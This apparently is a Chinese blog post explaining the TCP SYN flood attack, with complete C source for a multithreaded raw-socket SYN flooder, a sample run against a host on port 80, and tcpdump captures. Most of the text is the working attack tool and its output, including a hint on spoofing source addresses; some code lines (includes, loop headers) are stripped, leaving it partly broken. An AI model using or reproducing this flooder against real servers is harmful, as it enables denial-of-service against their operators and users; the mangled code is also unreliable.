1.概述
TCP建立连接需要3次握手,从IP层来看,客户端发送SYN请求,服务器对SYN响应,而客户端对服务器的响应再次确认才能建立连接。在服务器响
应之后,等待一段时间,才能获得客户端的确认.从服务器接收到客户端的确认之前,服务器的资源一直占用。如果这时客户端不确认,那么这些连接就是半连接。
通过建立大量的半连接,使服务器资源不断的减少,达到攻击的目的。或者是发送大量的SYN请求,使服务器不能够及时的处理,则服务器的资源会慢慢减少,达
到攻击的目的。
2. SYN洪水攻击
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/**
SYN洪水攻击原理:
TCP建立连接的时候要经过三次握手
(1)源主机向目的主机发送SYN
(2)目的主机收到报方后向源主机发送一个ACK
(3)当源主机发收报文之后向目的主机发送一个ACK,表示已经收到目的主机的ACK
这时候才能够通信
可以在目的主机发送完ACK后,源主机不再像目的主机发送ACK,这样目的主机一直超时等待,即建立半连接。
也可以发送大量的SYN包,让目的主机处理不过来,来消耗目的主机的带宽
**/
#define MAXCHILD 2
#define K 1024
#define DATUML 1*K
static int PROTO_TCP=-1;//TCP协议类型
static unsigned long dest=0;//目的地址,32位二进制
static int dest_port=0;
static int rawsock=-1;//原始套接字
static int alive=0;
//整个IP报文包括3个部分,IP首部,TCP首部,TCP数据部分
struct dosseg_t {
struct ip iph;//IP头部
struct tcphdr tcph;//TCP头部
}dosseg;
struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;//源地址
unsigned int dest_address;//目的地址
unsigned char placeholder;
unsigned char protocol;//协议号
unsigned short tcp_length;//tcp包长度
struct tcphdr tcp;//tcp首部
};//一起计算校验和
//计算校验和
static unsigned short DoS_cksum(unsigned short *data,int length){
register int left=length;
register unsigned short*word=data;
register int sum=0;
unsigned short ret=0;
//计算偶数字节
while(left>1){
sum+=*word++;
left-=2;
}
if(left==1){
*(unsigned char*)(&ret)=*(unsigned char*)word;
sum+=ret;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
ret=~sum;
return ret;
}
static inline long myrandom(int begin,int end){//根据不同的种子,随机出不同的数
int gap=end-begin+1;
int ret=0;
//系统时间初始化
srand((unsigned)time(0));
ret=random()%gap+begin;//介于begin与end之间的值
return ret;
}
static void DoS_tcp(){
struct in_addr src;//源地址
struct in_addr dst;//目的地址
int i;
struct sockaddr_in to;
//首先填充IP首部
dosseg.iph.ip_v=4;//IP版本号
dosseg.iph.ip_hl=5;//IP首部长度,以4字节为单位
dosseg.iph.ip_tos=0;//服务类型
dosseg.iph.ip_len=(sizeof(struct ip)+sizeof(struct tcphdr));//IP报文的总长度
dosseg.iph.ip_id=htons(getpid());//IP报文标识,进程PID
dosseg.iph.ip_off=0;//段偏移
dosseg.iph.ip_ttl=myrandom(200,255);//生存值
dosseg.iph.ip_p=PROTO_TCP;//协议类型
dosseg.iph.ip_sum=0;//检验和
src.s_addr=inet_addr("222.27.253.108");//htonl(myrandom(0,65535))
dosseg.iph.ip_src=src;
dst.s_addr=dest;
dosseg.iph.ip_dst=dst;
dosseg.iph.ip_sum=DoS_cksum((unsigned short*)&dosseg.iph,sizeof(dosseg.iph));//检验和,IP首部长度
//填充TCP报文的首部
dosseg.tcph.source=htons(myrandom(0,65535));
dosseg.tcph.dest=htons(dest_port);
dosseg.tcph.seq=htonl((unsigned long)myrandom(0,65535));
dosseg.tcph.ack_seq=htons(myrandom(0,65535));
dosseg.tcph.syn=1;
dosseg.tcph.urg=1;
dosseg.tcph.fin=0;
dosseg.tcph.doff=5;//指的是TCP的首部长度为20字节
dosseg.tcph.window=htons(myrandom(0,65535));
dosseg.tcph.check=0;
dosseg.tcph.rst=0;
dosseg.tcph.urg_ptr=htons(myrandom(0,65535));
to.sin_family=AF_INET;
to.sin_addr.s_addr=dest;
to.sin_port=htons(dest_port);
//TCP Header
// dosseg.tcph.source = htons (1234);
// dosseg.tcph.dest = htons (80);
// dosseg.tcph.seq = 0;
// dosseg.tcph.ack_seq = 0;
// dosseg.tcph.doff = 5; /* first and only tcp segment */
// dosseg.tcph.fin=0;
// dosseg.tcph.syn=1;
// dosseg.tcph.rst=0;
// dosseg.tcph.psh=0;
// dosseg.tcph.ack=0;
// dosseg.tcph.urg=0;
// dosseg.tcph.window = htons (5840); /* maximum allowed window size */
// dosseg.tcph.check = 0;/* if you set a checksum to zero, your kernel's IP stack
// should fill in the correct checksum during transmission */
// dosseg.tcph.urg_ptr = 0;
struct pseudo_header psh;
psh.source_address = inet_addr("222.27.253.108");
psh.dest_address =inet_addr("222.27.253.1");
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;//TCP协议号
psh.tcp_length = htons(20);//TCP首部长度
memcpy(&psh.tcp , &dosseg.tcph , sizeof (struct tcphdr));
dosseg.tcph.check = DoS_cksum( (unsigned short*) &psh , sizeof (struct pseudo_header));//伪首部长度一起计算校验和
//发送数据
int size=sendto(rawsock,&dosseg,4*dosseg.iph.ip_hl+sizeof(struct
tcphdr),0,(struct sockaddr*)&to,sizeof(struct sockaddr));
if(size<0){
perror("sendto");
}
//printf("size=%d\n",size);
}
//线程函数
static void DoS_fun(unsigned long ip){
while(alive){
DoS_tcp();
}
}
static void DoS_sig(){
alive=0;
printf("-------exit----\n");
return;
}
int main(int argc,char*argv[]){
struct hostent* host=NULL;//主机的相关信息
struct protoent*protocol=NULL;//协议的相关信息
char protoname[]="tcp";
struct in_addr dst;
int i=0;
int err=-1;
alive=1;
pthread_t pthread[MAXCHILD];//线程数组
signal(SIGINT,DoS_sig);//信号处理函数
if(argc<3){
return -1;
}
//获取UDP的协议类型
protocol=getprotobyname(protoname);
if(protocol==NULL){
perror("get protobyname");
return -1;
}
PROTO_TCP=protocol->p_proto;
dest=inet_addr(argv[1]);//得到目的地址
if(dest==INADDR_NONE){
host=gethostbyname(argv[1]);
if(host==NULL){
perror("gethostbyname");
}
memcpy((char*)&dst,host->h_addr,host->h_length);
dest=dst.s_addr;
}
dest_port=atoi(argv[2]);
//建立原始套接字
rawsock=socket(AF_INET,SOCK_RAW,PROTO_TCP);
printf("rawsock=%d\n",rawsock);
if(rawsock<0){
perror("socket error");
}
//设置手工填写IP首部
setsockopt(rawsock,SOL_IP,IP_HDRINCL,"1",sizeof("1"));
//建立多线程发送UDP包
for(i=0;i
err=pthread_create(&pthread[i],NULL,DoS_fun,NULL);
}
//等待线程结束
for(i=0;i
pthread_join(pthread[i],NULL);
}
close(rawsock);
}
说明:TCP首部校验和的计算除了TCP首部还包括源地址,目的地址,协议号和首部长度12个字节的伪首部. SYN域需要设置为1. 如果要伪装IP,就随机出一个IP地址发送。
80号端口提供http服务.
运行结果:
[root@localhost 13章原始套接字]# ./tcp-attack 222.27.253.1 80
tcpdump抓到发出的TCP包:
19:28:26.196380 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.197231 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.198138 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.199066 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.199914 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.200858 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.201708 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.202553 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.203398 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.218594 arp who-has 202.118.185.87 tell 202.118.185.1
19:28:26.221212 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.222115 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
19:28:26.222959 IP 222.27.253.1.http > 222.27.253.108.26603: R 0:0(0) ack 1 win 0
.253.108.10623 > 222.27.253.1.http: S 10623:10623(0) win 10623 urg 10623
主机返回的ACK包:
19:30:59.004230 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.005072 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.005913 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.006754 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.007684 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.008527 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.009371 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.011881 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.013792 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.014636 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.015479 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.016321 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.017166 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.018012 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.018856 IP 222.27.253.1.http > 222.27.253.108.60939: R 0:0(0) ack 1 win 0
19:30:59.019767 IP 222.27.253.1.http > 222.27.253.1 win 0
总结:
本文主要介绍了基于TCP和SYN攻击,创建很多半开连接来减少服务器的资源,最终使服务器崩溃,达到攻击的目的。
阅读(1173) | 评论(0) | 转发(0) |